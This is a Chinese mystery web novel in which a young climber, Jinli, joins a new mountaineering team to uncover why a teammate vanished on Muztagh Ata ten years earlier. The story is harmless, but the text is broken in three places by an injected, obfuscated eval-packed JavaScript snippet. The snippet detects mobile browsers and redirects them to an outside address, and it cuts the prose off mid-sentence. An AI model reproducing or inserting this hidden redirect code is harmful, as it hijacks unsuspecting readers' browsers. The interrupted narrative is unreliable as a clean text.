《雪山杀人事件》 1. 锲子 雪山能吞噬人。 十五岁那年夏天,锦里第一次明白了这个道理。 . 2009年7月23日,慕士塔格峰海拔6850米处。 与盛夏的风景迥异,这里的夜晚一片漆黑,无星无月,只有凛冽的狂风席卷整个三号营地。傍晚时分刚刚下过一场大雪,看样子之后的天气也不容乐观。 当天下午三时许抵达此处搭建营地的自主攀登队,就恰巧撞上了这场暴风雪天气。 这支登山队共计八名队员,两两一组同住一个帐篷,在这种时刻,他们本应早早睡去,养足精神,为第二天的冲顶做准备。 却一反常态地,有四五名队员正在营地附近走动,头灯散发的光亮在雪地上投下一个个扇形图案。 锦里被那阵晃动的光以及身边人起身的动静惊醒了,她迷糊地睁开眼睛,问:“爸爸,他们在做什么?” “我去看看。” 说话间,锦里的父亲老徐已经穿好了衣服,他小心地掀开帐篷走出去,锦里也连忙打开放在身旁的头灯,借着微弱的光亮开始全副武装自己,在这样高海拔的环境中,一切都必须小心谨慎。 就在锦里刚刚收拾妥当,准备出去的时候,她终于听清了外面的声音,那是其他队员所发出的一声声呼唤,在呼啸的狂风中显得断断续续的。 他们似乎是在找人。 “你在哪里,木格?” 呼喊声不算太大声,但一掀开帐篷,锦里就听得更加清楚了。 “木格——” “木格!” “木格……” 被风雪半盖住的四只帐篷已全部打开,除木格外所有人都在这附近走动着。 老徐当然也在这个行列中,但他并没有走太远,也许是考虑到自己的女儿还需要他照顾吧。锦里在原地呆愣了几秒钟,才一步一个脚印踩着厚厚的积雪朝老徐走去。 看起来不算远的距离,却花费了她好几分钟的时间。 她不太想开口喊人,因为不喜欢冷风将碎雪吹到嘴里的感觉,所以直到走到老徐面前,才掩着口鼻低声问道:“木格怎么了?” “他不见了。” 老徐的声音同样很低沉。 锦里不太明白。 “不见了……是什么意思?” “强子——就是跟木格住同一个帐篷的人——半夜醒来,发现木格不在帐篷里,起初他以为木格是出去上厕所了,但等了好一会儿都不见人回来,强子觉得不妙,爬起来到处问人,所有人都说没见过木格,不知道他去了哪里,所以现在大家都在找他。” 锦里听得呆住了,好半天才说:“上厕所花不了太长时间吧?” “是啊,大家都是在帐篷附近找地方解决,所以强子才觉得不安,不明白为什么到现在木格都还没回来。” 即使是年仅十五岁的锦里,这下也明白事情的严重性了。锦里的父亲喜欢登山,从小她就被老徐带着去攀登各式各样的山峰,5000米的、6000米的,具名的、不具名的,锦里见识过各种山峰,每一座山都拥有自己独特的魅力,而她也在这个过程中,掌握了很多与登山相关的知识。 她知道夜晚的雪山有多么危险,尤其是在这个将近7000米海拔的地方,在这样狂风呼啸的夜晚,木格这么久还没回来,不是他不想,更有可能是他不能。 他可能在外出途中突发高山病,昏倒在地丧失了意识;也可能因为夜色太黑,风雪太大,慌乱间走错方向,迷失了回来的道路;甚至可能一个不小心脚下踩空,从陡坡滑落……总之,他可能遭遇到各种各样的意外,所以无法回来。 而这些意外每一个都是致命的。 “此外,还有个很奇怪的地方,”老徐看着原本走远的队友们陆续返回营地附近,皱着眉头继续道,“强子说,他发现木格不见的时候,曾经掀开帐篷往外看过,可是雪地上却一个脚印都没有。要知道,外面的积雪已经及膝,留下的脚印不是大风能够轻易吹散的。” “为什么,不是说木格出去上厕所了吗?” “其实那只是强子的猜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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叮铃铃——! 锦里被闹钟声唤醒,她猛地睁开眼睛,从床上坐起身,此时冷汗已经浸透她半个身体。 闹钟停了,一时间,整个房间只能听到她自己急促的呼吸声,几秒种后,她才回过神来,在心里松了口气:原来是梦。 怎么会突然梦到十年前的事呢?锦里皱起眉头,心想,难道是今天正好要跟新认识的队员见面并组建登山队的缘故吗? 小的时候,锦里经常在父亲老徐的带领下攀登各种山峰,但自从在慕士塔格经历了木格离奇失踪的事件后,锦里突然对登山感到恐惧了。不仅是因为一个活生生的人突然从她身边消失,而且她总觉得木格失踪这件事没有那么简单,更令她觉得可怕的是,在那之后——在他们抛下木格继续前行之后——他们成功登顶了,队长激动得热泪盈眶,对外宣布“全员成功登顶”,没有一个队员对此有异议。 木格不仅被遗忘在海拔6850米的地方,就连他本身的存在,都被刻意抹去了。 …… 从回忆中回过神来,锦里开始起床洗漱,收拾自己。 今天是十二月一个再普通不过的周末,锦里要赴的约会定在早上十点,闹钟定在九点,碰面地点就在成都,而且离她的住处不远,她可以从容不迫地收拾妥当了再过去。 一切都按计划井井有条地进行着,距离十点还有十分钟的时候,锦里推开了约好的那间咖啡厅的大门。 周末上午,店里人烟稀少。座位上四散分布着寥寥几位客人,他们全都在垂着眼睛看手机,时不时摸索着端起面前的咖啡送入口中。 看起来她要见的人还一个都没来,锦里心想。 她走到靠窗的空位上坐下,眼睛看着窗外,心思还沉浸在早晨的那个梦中。 不知过了多久——可能几十秒钟,也可能是几分钟——锦里察觉有人在不时地偷看她。 那是坐在她左手边的一个体格健壮的男人,三十来岁的样子,因为胡子没刮干净而显得有些不修边幅。 锦里注意到了那个人充满试探的眼神,她好奇地回望过去,没想到那人就像得到鼓励一样,笑着走到锦里面前。 “小姐,你是不是在等人?”他那不同于当地口音的普通话引起了锦里的注意。 锦里立即有些明白过来,恐怕这人就是自己要等的人之一吧。 “你是?” “我是摩羯鱼,在群里经常说话的那个。” “哦,我知道你!”锦里一听就笑着说道。 摩羯鱼也笑了,毫不见外地坐到了对面的位置。他一坐下,嘴巴就更停不下来了:“其实我一早就来了,但是等得太无聊,就玩了会儿手机,后来抬头一看,发现你正看着窗外发呆呢,我就想,说不定你就是我们群里的谁谁谁,结果一问还真是!对了,你的群名是什么?” “我叫锦里。” “就是前几天才加进来的那妹子?没想到你这么年轻!”摩羯鱼感慨了一句,又问,“这是你的真名吗?” 锦里点头说是。 两人正要继续聊下去,突然从门口一连走进来好几个人。 这波人的动静太大,锦里下意识转头看去,正好和他们东张西望的眼神对个正着。锦里愣住了,她意识到了什么,正准备开口打招呼,摩羯鱼已经先她一步走到了门口。 简单说了几句之后,摩羯鱼就领着这两男两女往锦里所在的位置走,于是锦里知道了,这几个人也是她此次会面的对象。 其中一名年纪和她相仿的少女走在最前头,锦里刚刚从座位上站起身,她就已经一把挽住了锦里的手臂,亲热地说道:“你就是锦里吧?我叫花城,不好意思啊,我们来得有点晚。” “没关系。”锦里笑了笑。 “不过我们没有迟到,”四人中的中年男子推了推自己鼻梁上的镜框,严肃道,“最后一人到的时候,刚好十点整。” 原本锦里并不那么在意时间,听了中年男子的话之后,反而下意识地看了看手机,现在是早上十点零五分。 “哈哈,别这么一本正经嘛!虽然我们是准时到的,但在门口闲聊了几分钟才进来,相当于还是迟到了呀。”花城笑着解释了一句,又凑近锦里耳边低声说,“惊蛰是个数学老师,我觉得他有强迫症。” 惊蛰应该就是那个中年男子的网名吧,锦里心想,她确实记得群里有这么一个名字。 “好了好了,”摩羯鱼这时拍了拍手,将大家的注意力都吸引了过来,他人高马大,比在场所有人都高,一眼扫去很轻易就将所有人尽收眼底,“加上我自己一共六个人,8848登山队,都到齐了吧!” 2 “都到齐了!” 除了锦里,其余人都很兴奋,就连从进门到现在都一脸严肃的惊蛰,此时嘴角也露出了淡淡的笑容。 这是锦里第一次在现实生活中见到“8848登山队”这个群里的人,短短片刻的功夫,她已经认识了摩羯鱼、花城和惊蛰,群里只剩下两人她还对不上号:夏晴天和游人。 不过没关系,大家坐下后,第一件事就是自我介绍。 摩羯鱼咳嗽一声,第一个出声,他似乎在不知不觉中已经掌握了主动权。 “那个,我先来吧!我叫摩羯鱼,北方人,因为工作的关系,经常在西安、甘肃、成都一带跑动,我自己也很喜欢到处玩,不过我不去那些大众化的景点,我都去一些还没开发的古镇什么的……登山还是第一次尝试,我不想跟着商业队走,觉得没什么意思,所以一直在找适合我的自主登山队,前一阵子在网上搜了搜,发现了这个群,我觉得很适合,这就是我想找的队伍,很高兴认识大家!” 话音刚落,就收获了一阵热烈的掌声跟喝彩声。 摩羯鱼得意地笑了笑,突然话锋一转,视线在众人身上来回扫荡:“惊蛰是哪位?今天我一定要跟他好好认识一下。” 这下,掌声全变成笑声跟起哄声了。 原因无他,只是大家都知道,平常在群里这两人就时不时地吵闹一番,让这个群活跃了不少。 “是我。” 锦里看到刚刚有过一面之缘的中年男子站起了身,他淡定地推了推鼻梁上的眼镜,然后才继续自我介绍:“大家好,我是惊蛰,来自山西,是一名数学老师,半个月前通过网络搜索进的群,很高兴认识大家,谢谢。” 他简洁明了地说完了。 摩羯鱼起哄道:“这也太短了吧,再说几句,再说几句。” “为什么?”惊蛰一本正经地反问,“该说的我都应该已经说了。” 摩羯鱼嘿嘿一笑:“太简单了!至少也应该比照着我之前说的来。” 惊蛰认真反驳道:“没有人规定自我介绍需要多少长度,也没有人规定第二个自我介绍的人一定要向第一个人学习。” 惊蛰一说完,大家都笑了,实在是他的表情配上那几句话,还有摩羯鱼无言以对的样子,都象是群里的对话又重演了一样。 正是因为惊蛰认真的个性,热情开朗的摩羯鱼才总是忍不住去惹他,一来二去,两人的关系竟然因此拉近了不少。 气氛渐渐变得热络起来。 跟锦里同龄的年轻女孩儿花城紧接着开始做起了自我介绍,她的声音跟她的人一样元气满满:“大家好,我是花城,大四学生,想趁着工作之前体验一段不一样的旅程。我有个师姐,她很喜欢登山,我受了她的影响,也想来试试,所以我就在网上搜寻消息,想看看有没有什么新成立的登山队,然后我就进到这个群啦!本来我还很担心,大家都是陌生人,万一说不来话怎么办?但现在见了面,我觉得我跟大家一见如故,我有预感,我们一定会配合默契,然后征服一座又一座的山峰的!” “好!” 花城话音刚落,其余人都很捧场地鼓起掌来。 只有锦里在这一瞬间怔忡了。征服……这样的字眼是不应该用在雪山身上的,锦里很清楚,从来没有人能真正征服一座雪山,反而是登山的人,都要靠着它的庇护才有可能继续走下去。 事实上,两者之间真正的掌控者是雪山,它要人生就生,要人死就死。就像曾经的木格…… 过去的记忆再度涌上心头,当她好不容易回过神来的时候,才发现自己险些错过最后两人的自我介绍。 那两人就是她一直对不上号的夏晴天和游人,现在正在介绍自己的是夏晴天,锦里连忙打起精神认真听讲。 “……我家就是做旅馆生意的,一年到头除了节假日旅游旺季,其他时间都挺闲的,所以我想,今后我肯定能拿出很多时间来准备登山。” “夏姐,你这就弄反了不是?”摩羯鱼玩笑道,“一般来说,我们都是趁着放假时间去登山,是吧?如果你偏偏在那时候很忙,可不就跟不上队伍了么。”说着,他转过头来看着其余人,似乎是在寻求认可。 夏晴天闻言微微一笑,她是个成熟优雅的女性,说话也是温柔中透着一丝强势:“登山需要花费的时间,可不仅仅是待在山上那几天哦,为了保证有充足的体能往上走,平时我们就要下功夫多加锻炼,日积月累,这是一个漫长的过程。当然,我们队伍如果安排了节假日去攀登,我也能把时间空出来,保证不会耽搁大家的计划。” “听起来,你好像对登山很了解的样子,”摩羯鱼没有被夏晴天的气势所压倒,反而对她的话生出了浓厚的兴趣,“夏姐,你以前登过山吗?” 夏晴天摇摇头:“朋友登过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15201040|165708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我听说后觉得挺有意思的。”顿了顿,她又说,“对了,这个群就是我跟游人建起来的,也是我们两个在网上四处发布的组队消息,你们知道吗?” 众人齐齐摇头,然后随着夏晴天的视线,好奇地打量着游人的脸。 锦里也是。 游人是除锦里外唯一还未介绍自己的人,他长着一张可爱的娃娃脸,身材也不是很高大,锦里不由自主地就把他当成了小弟弟来看待,所以在听到他的真实年纪时,锦里大吃了一惊。 “大家好,我叫游人,今年三十五岁。” “三十五岁?” 众人惊叹不已。游人仍旧笑吟吟的,似乎早已习惯别人被他外貌和年龄之间的反差所震惊的样子。 “上个月我去云南旅游,正好住进夏姐家的旅馆,我们一见如故,都是因为有朋友在登山,所以也想去体验一把登山的乐趣,于是就合力建了一个群,四处宣传,准备找一些志同道合的人,组建一个登山小队,没想到不到一个月的时间队伍就建成了。” 原来是这样,锦里心想,她是前几天才加进群的,是最后一个进群的人,如果再晚一些,她就要错过这次机会了。 “那你们怎么不跟着自己的朋友去登山?”花城好奇地问道。 游人解释道:“因为登山是一个循序渐进的过程,一般来说,入门级雪山在5000米左右,而我的朋友已经开始尝试攀登7000米级山峰,我怎么好意思让他再返回来带我?” “我的朋友也在登7000米级的山峰了。”夏晴天补充道。 其余人恍然大悟地点了点头。 “那‘8848登山队’这个群名也是你们两个取的呀?”花城继续问,“这到底是什么意思呀?之前我在群里问,大家都不说,不会只有我一个人不知道吧?” 没想到一石激起千层浪,摩羯鱼紧接着附和道:“我也不知道。” 惊蛰摸了摸眼镜,说:“我也是。” 夏晴天跟游人相视一笑,似乎有些无奈的样子,夏晴天感叹道:“你们真是对登山一点也不了解啊!其实这个意思很简单,就是指——” “——世界第一高峰,珠穆朗玛峰的海拔,8848米。” 3 夏晴天愣住了,其余人也愣住了。 他们都呆呆地看着说出这句话的锦里。 在此之前,锦里都没怎么说话,在人群中毫不起眼,大家沉浸在夏晴天跟游人合力建群这件事上,忘记了还有一个人没做自我介绍。 直到此时,锦里一语道破群名的含义,她的存在突然变得无比耀眼起来。 “没错,确实是这个意思……”夏晴天过了几秒钟才继续说道。 “因为珠穆朗玛峰横跨两个国家,所以准确来说,它有两个高度,一个是尼泊尔那边测定的去除雪盖高度的纯山峰海拔8844米,一个是我们国家测定的加上了雪盖高度的8848米,两个高度都被世界所认可。”锦里忍不住补充了一句,提起登山的话题,她就不知不觉间认真了起来。 其余人在这时候才反应过来,花城兴奋地叫道:“锦里,你真厉害!”游人也笑着看向她:“介绍一下自己吧?我们除了知道你是最后进群的人,其他的还一概不知呢。” 对此,锦里早有准备。 她搬出那套早已想好的说辞:“其实我小的时候跟着家里人登过几次山,只是后来因为学业渐渐繁重,没时间再去。现在好不容易毕业了,我就想先回味一下攀登的乐趣,之后再找工作也不迟。恰巧我在朋友圈看到了这支新成立的登山队的消息,发现还缺人,就加入进来了。” 夏晴天闻言笑了:“看来我请朋友帮忙转发朋友圈,还是有作用的。” 花城则显得很兴奋,惊叹道:“哇,那你一定对登山很了解啦?” “还行吧。” “不用想,她绝对是我们之中的高手,”摩羯鱼对其他人信誓旦旦地保证道,然后又转头对锦里作了个揖,“真是真人不露相,失敬失敬。” 锦里配合着笑了笑,没再说话。 又回到之前的话题,惊蛰面无表情问出重点:“为什么我们的群名是珠峰的海拔高度?” “这你就有所不知了,”游人笑道,“珠峰是无数登山者都梦想去攀登的神圣殿堂、终极目标,具有非同凡响的意义。” “可我们不是只打算体验几次登山的感觉吗?” “梦想还是要有的嘛!万一以后我们对登山上瘾了,想去挑战更高的高度,8848米就是我们最终的奋进目标。” “好!”摩羯鱼伸出右手,“要做就做最好的,加油!” 六只手交叠在一起。 “8848登山队,加油!” 3. 慕士塔格峰遇袭事件① 1 那天回去之后,锦里又做了一个梦。 梦里,她还是十五岁的年纪,身在慕士塔格山脚下的大本营里,跟父亲还有其他队员在一起——锦里、父亲老徐、木格、队长、强子、文静、莎莎还有阿晋,他们八个人一起登过好几次山,彼此很合拍,因此这次又组成队伍去登慕峰。 看到那些人,锦里就知道,她是又梦到那段过去了。 因为是过去,所以她知道接下来会发生些什么,他们会在大本营等待,直到窗口期的到来,然后正式开始攀登,木格会在那天晚上离奇失踪,他们会放弃寻找他,然后在登顶之后否定木格的存在…… 但在锦里今晚的梦里,他们还在大本营,经过两次拉练,慕士塔格的天气突然变得很不好,风雪交加,所有人只能等待大雪过后才能出发,一切都是为了确保攀登途中的安全。 他们已经在大本营等了两天了,日子过得很无聊。 大本营的设施很简陋,除了维持基本的生存需求,提供吃饭、睡觉的地方,没有什么其他的娱乐,周围也没什么好玩的地方,又下着大雪,那两天锦里几乎都在帐篷里度过,闲得都快发霉了。 她本来就是爱玩的年纪,根本闲不住,父亲老徐叮嘱她不要走远了,她就在帐篷附近转悠。 某个风雪稍小的下午,锦里在雪地里发现了一只被冻僵的小鸟。 出于对其的怜悯之心也好,为了解闷也好,总之,锦里几乎没怎么犹豫,就把它带进了帐篷。 她给它喂水,带着它烤火,替它梳理羽毛……傍晚时分,小鸟终于恢复了意识,原来它福大命大,还没有死。 锦里想带着它去吃饭——虽然她不知道小鸟该吃些什么——但在那之前,木格发现了她的打算。 “你从哪儿捡来的小鸟?”木格好奇地问道。 对于这个比自己大不了几岁的哥哥,锦里一向很有好感,他们的关系也很亲近。于是她把事情的经过详细讲了一遍,又说自己正打算带着小鸟去吃饭。 没想到木格却阻止了她,他说:“队长跟其他人一定不会同意的。” “为什么?” “因为他们都是登山白痴嘛,脑子里除了向上和登顶,再也装不下别的了。他们不会愿意花费精力照顾一只小鸟的。” “我自己照顾也不行吗?” “肯定不行的,”木格摇了摇头,“你可是我们的队员,如果把心思放在这上面,说不定会拖累攀登的进度,他们不会同意的。” “那该怎么办呢?”说来说去都不行,锦里迷茫了。 木格狡黠地眨眨眼,说:“我来想办法。” 他的办法就是把小鸟偷偷藏起来,藏在自己睡觉的帐篷里,然后把每一餐剩下来的食物喂给小鸟吃。木格还发现小鸟的右腿受了伤,他帮它包扎了伤口,然后将它放在自己的背包里,准备等它伤好后再放它离开。 没想到当晚,跟木格同睡一个帐篷的强子就发现了小鸟的存在。 强子发现了,队长也就紧跟着知道了。 就如同木格一开始推测的那样,队长并不赞成把小鸟留在帐篷里,因为他们要趁现在风雪暂停的短暂窗口期冲顶,明天一早就出发。 “能够顺利登顶才是最重要的,我们没空照顾它,除非你愿意自己一个人留在大本营。”队长的话,木格跟锦里都没办法反驳。 好在那时小鸟的身体已经恢复了一些,一将它放开,它就跌跌撞撞地飞走了。 这件事只是攀登过程中的一个小插曲,但锦里永远也不会忘记,木格是一个多么温柔善良的青年。 他还那么年轻,前两次拉练也没有出现任何高反的症状,看起来适应良好,锦里怎么也无法相信,他会在夜宿三号营地的时候突然失踪,更不敢相信他的失踪是跟高反、迷路或者其他突发的意外事故相关。 队长一直是一个顾全大局的人,所以后来在三号营地,他才会做出放弃寻找木格的决定吧。就像他下令放飞小鸟一样。 可是……人怎么能跟小鸟相提并论呢? 他放弃的,可是一条活生生的人命,还是跟大家朝夕相处了半个多月的队友的生命。而其他人竟然全部默认了他的做法。 还有,登顶后所有人为什么要故意隐瞒木格的存在?这其中是不是有什么更大的隐情? 每次一想到这里,锦里就觉得浑身不寒而栗,她猛地睁开了眼睛,从睡梦中惊醒了过来。 2 拿过手机一看,已经是早晨八点了。恰巧屏幕上方跳出一条推送消息:雨后奇观重现!自六月后慕士塔格峰又见绚丽流星雨。 锦里心中一跳,连忙关掉了消息。 有时候她真的忍不住怀疑,是不是自己的计划已经人尽皆知了,否则为什么才刚刚梦到那时的情景,就让她看到慕峰的消息。 锦里摇摇头,甩开脑子里的胡思乱想,再看手机上,群里一群刚见面的小伙伴正聊得热火朝天。 她将聊天记录往上翻了翻,发现挑起话题的正是在线上线下都表现得很活跃的摩羯鱼。 摩羯鱼:咱们第一座山去哪儿,你们有目标没? 摩羯鱼:[链接]盘点最适合初学者的十座入门级雪山。 花城:哥,这是你在网上随便百度的吗?靠不靠谱啊? 摩羯鱼:不知道,论登山,我就是一个纯粹的门外汉,这种事当然还是要专业人士发表意见@夏晴天 @游人 @锦里 ,召唤大师! 夏晴天:别问我,我也是门外汉,只是听朋友说过几次[笑][尴尬] 游人:门外汉+1 惊蛰:四姑娘山怎么样?好像挺热门的,跟成都离得也近,大家天南地北好不容易聚在一起,不如登一次山再回去。 夏晴天:这么突然就决定要登山了? 摩羯鱼:当然!咱们不就是为了登山才聚在一起吗?当然是想到就去做! 夏晴天:不,我的意思是……登山装备什么的,难道你们都准备好了? 摩羯鱼:…… 摩羯鱼:什么装备? 花城:什么装备呀?不就是登个山吗? 惊蛰:? 游人:…… 游人:你们……还真是彻彻底底的门外汉啊! 对话到这里就停住了,提出要准备装备的夏晴天迟迟没有回话,估计她也是被这群人对登山的一无所知所震惊了吧。 夏晴天跟游人虽然也没有登过山,但是据他们所说,他们的朋友都对登山很了解,那他们跟着学到一些知识也就不奇怪了。 但毕竟从来没有亲身体验过,他们掌握的知识必定是一知半解的,难怪夏晴天迟迟不知道该怎么跟群里的其他人解释。 锦里想到这里,微微一笑。 加入这个群真是正确的决定!她开始埋头打字。 锦里:登山装备有一大堆,从头到脚,从里到外,每一样都必须过关才行,否则在雪山上受伤的会是你们自己。 锦里:因为雪山上气温很低,一旦受冻,不仅是感冒这么简单,这是会将肢体冻伤冻残的程度,严重的甚至可能会导致截肢。而且还有可能出现失温状况,这可是会危及生命的。 锦里:雪山上还有很多其他的危险,现在一时半会儿也说不完,以后你们亲身体验后就会知道了。总之,登山装备一定要备齐。 锦里:稍后我会列一个清单发到群里,大家就按那个要求准备吧,有不懂的问题随时可以问我。 一语激起千层浪,群里众人开始排队发言。 摩羯鱼:谢谢大佬! 花城:谢谢大佬! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15201041|165708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 游人:谢谢大佬! 夏晴天:谢谢大佬! 惊蛰:谢谢大佬! 看到连一向一本正经的惊蛰都跟着刷屏,锦里满意地笑了笑,起身开始洗漱。 今天是令上班族头疼的周一早晨,但待业在家的锦里动作却不慌不忙。 自从那年木格失踪后,她没有一天不在想着这件事,那时候她心里就知道了,只有找到木格的下落,她才能安安稳稳继续自己的人生。 锦里等了十个年头,从高中到大学,再从大学到毕业,终于,她自由了,拥有了大把的时间,可以尽情去做她想做的事。 她决定重返雪山,找到木格失踪的真相。 但这个重返,却不是重新去攀登慕士塔格峰,而是加入一支新的登山队,从初级山峰开始攀登。为什么?因为她相信木格的失踪并不是意外,其中一定另有隐情,有人利用雪山这个天然自带杀意的危险场所,设计制造了这场“事故”。 但想了十年,锦里都没有想明白“凶手”是怎么办到的。某天,她突然灵光一闪,想到了另一个找寻真相的途径:从零开始,重新攀登雪山。也许在这个过程中,她会发现一些从前被她遗漏了的关键点。 木格是在雪山上失踪的,这里跟其他任何地方都不一样,因此他的失踪,也不能以常理来推测,必须将雪山这个特定的环境考虑在内。 重新开始登山之路,也许她会发现一些新的线索也说不定。 这就是锦里加入8848登山队的原因。 锦里在外头单独租了一间屋子,整天忙活着攀登前的准备工作。 登山是一项很烧钱的活动,装备费、路费、申报费……等等等等。好在锦里的身量跟十年前比没有太大变化,以前的旧装备还能用,这为她省下了不少钱,而且大学时她也有打工攒钱,等到撑过一开始的艰难时光,有了赞助商的支持,日子就会好过许多。 群里其他人的基本情况,锦里已经在跟他们见面的时候搞清楚了。夏晴天就不必说了,开旅馆的只要不是节假日时间都很自由,其他人为了这次在成都的碰面,都多多少少请了几天假,所以他们才能一大早在群里闲聊。 但是想趁这几天时间就登完一座初级雪山,还是太仓促了。 锦里一边想着,一边将装备清单发到了群里。 从头到脚依次是:抓绒帽、头灯、雪镜、头巾、排汗内衣裤、抓绒衣裤、冲锋衣裤、羽绒服、抓绒手套、防水登山手套、排汗保暖袜、高邦徒步鞋、雪套、登山杖、保温水壶、睡袋、防潮垫、大背包、防晒霜、防晒唇膏和餐具。 发完之后,锦里在群里又补充了几句。 锦里:因为我们第一个目标是初级雪山,所以还有些技术装备我没发出来,等以后去了进阶山峰再说。 锦里:大家有其他想带的也可以带上,比如相机什么的。 摩羯鱼:东西真多…… 摩羯鱼:买完这些装备,就可以去登山了不? 看到这个问题,锦里一时失笑。 锦里:我觉得大家还是先锻炼好自己的体能,千万不要小看初级雪山,如果体能不够,很可能无法顺利登顶。 锦里:这样吧,我们先准备一个月的时间,在这一个月里每人每天至少要跑步5公里,一个月后我们再聚在一起登山。 锦里:至于去登哪座山……之前提到的四姑娘山就挺不错的,适合入门,我觉得可以。 锦里:对了,咱们还得找个商业队,报他们的团去登山,否则到了大本营还得自己找地方扎营地,又不认识路……太不方便了。 也许是她的表现太过专业且强势,没有人对此提出异议,事情就这么定了下来:成员们先就地解散,各回各家,一个月后再在成都相聚,结伴去登四姑娘山。 4. 慕士塔格峰遇袭事件② 3 很快,锦里就在成都找到了一家合适的商业登山队,名字叫九极。她跟九极说明了自己这边的情况,说想让九极专门组织一次四姑娘山攀登活动,只带他们8848登山队的成员,不加其他人进来。 就相当于一个定制团。 九极答应了。 四姑娘山位于阿坝州小金县与汶川县交界处,一共由四座山峰组成:大峰、二峰、三峰和幺妹峰。这次他们要登的是二峰,海拔5276米。 确定目标之后,团队众人开始积极锻炼,他们还会将自己每天的训练强度发布到群里,互相激励。 一个月的准备时间说短不短,说长也不长,似乎一溜烟就过去了。 话不多说,很快就到了团队再次集合的日子。 碰面地点定在九极为他们安排下榻的酒店门口,远道而来的队员们去房间放好行李后,就在门口汇合,然后结伴前往九极办公室,签署入团协议。 锦里没有住酒店,她的住处就在那附近,所以一切都很方便。 下午五点左右,8848登山队的成员就全部到齐了。 气氛很热络,一月未见的一群人之间丝毫没有生分,反而变得无话不谈。 锦里更是成为众人关注的重点,在他们心中,她无所不知,已经成为这个团队的核心人物。 “锦里,一会儿签完协议,你去我房间帮我检查一下装备好不好?”花城可能是因为跟锦里同龄的缘故,一直都更亲近她,“虽然我都拍照发群里让你看过了,但我还是不放心,你再去确认一下吧!” 锦里拍拍她的手,安慰道:“别担心,九极的人应该也会再帮忙检查一遍的。” 果然,就像她所说的那样,去办公室签完协议之后,九极就派了一名工作人员跟着他们一起去酒店,检查了大家的装备,又说明了明天的行程计划。 明天他们需要早上九点在酒店门口集合,然后搭九极的车前往四姑娘山镇。跟着他们去酒店的那名工作人员名叫大山,他同时也是他们这次攀登活动的领队。 大山很尽职尽责,但也许是习惯了,大家还是喜欢有什么问题就问锦里,尤其是第二天下午到达山镇之后,他们惊讶地发现,在山镇等着接待他们的九极工作人员竟然全部是藏族人。 “这些都是我们的协作,他们很擅长登山,带队经验也很丰富,明天就由他们带大家上山。”大山站在那几位身材高大、皮肤黝黑的藏族同事身边,拍着他们的肩解释道。 “你不跟我们一起上山吗?”摩羯鱼问。 大山摇摇头:“我就负责把大家带到这些协作面前,剩下的就是在山镇等大家的好消息了,哦,如果有队员中途身体不适需要下撤,也由我负责接应。” 这下,锦里更加被团队所看重了。 为什么? 因为大家很快发现,在登山这方面,也许藏族人与生俱来的天赋让人感觉很可靠,但交流沟通对他们来说却是个难题。这些藏族协作大部分时间都说藏语,勉强也会说一些带着口音的四川话,至于普通话,他们说得费力,8848登山队的成员也不怎么听得懂。 只有同样会说四川话的锦里,能够比较顺畅地跟协作们沟通。 第二天就要上山了,晚上吃过晚饭后,大家却精神抖擞,全无睡意。摩羯鱼提议来玩真心话大冒险。 “反正大山也说了,为了预防高原反应,我们不要这么早睡觉。所以,玩玩儿游戏打发时间吧。” 目前他们所处的海拔大约在3300米,还没有人出现明显的不适症状,但不管怎么说,做好预防是很重要的。 “惩罚是什么?刚刚大山也说了啊,让我们不要剧烈运动……喝酒也不好吧?”花城看着桌上的酒瓶,有些担忧。 摩羯鱼立即回答:“那当然,喝得醉醺醺的明天还怎么登山?”不等其他人反驳这个玩游戏的提议,他又紧接着说道,“所以要我说,要玩儿我们就只玩儿真心话,不玩儿大冒险,每个轮到的人只用回答对方的提问,如果做不到也不用喝酒受罚。” 此话一出,房间里顿时响起一众起哄声。 “没有惩罚就没有动力,要是每个人都拒绝回答问题,那还有什么意思!” 摩羯鱼将双手抬起,做了个下压的动作,示意大家安静:“这样,这样,不回答问题的人暂时不用喝酒,但是要欠着,等登完山后我们在成都聚个餐,到时候谁欠了多少个问题,就喝多少杯酒,怎么样?” 听起来似乎合情合理,又很有意思。 惊蛰甚至从行李中取出了纸笔:“我来给大家计数。” 规则就这样定下了。 游戏开始。 4 锦里有些坐立难安。 没有人规定玩真心话大冒险的时候一定要说真话,不,也不能这么说,游戏规则确实是要求说真话,但实际上玩家说的是真话还是假话,又有谁知道? 但也许是被那种氛围所影响吧,大部分人在那种时候脱口而出的都是真话,如果说假话,似乎也总是很容易就被看穿。 锦里自认没有那么强的心理能力,能够面不改色地说出连篇谎话。如果被问及自己加入这个团队的初衷,她该怎么回答? 队伍第一次碰面的时候,锦里的自我介绍大多是含糊其辞,就是因为她不想将木格的事说出来。 第一个转酒瓶的人是摩羯鱼,被指到的人是花城。 摩羯鱼立即不怀好意地笑了笑,问:“小姑娘,你有男朋友没?” “哦——”众人跟着起哄。 “没有啊!”花城干脆利落、大大方方地回答道,“不过大叔不是我的理想型!” 一句话说完,大家放声大笑。 接下来轮到花城转酒瓶,被指到的人是夏晴天。 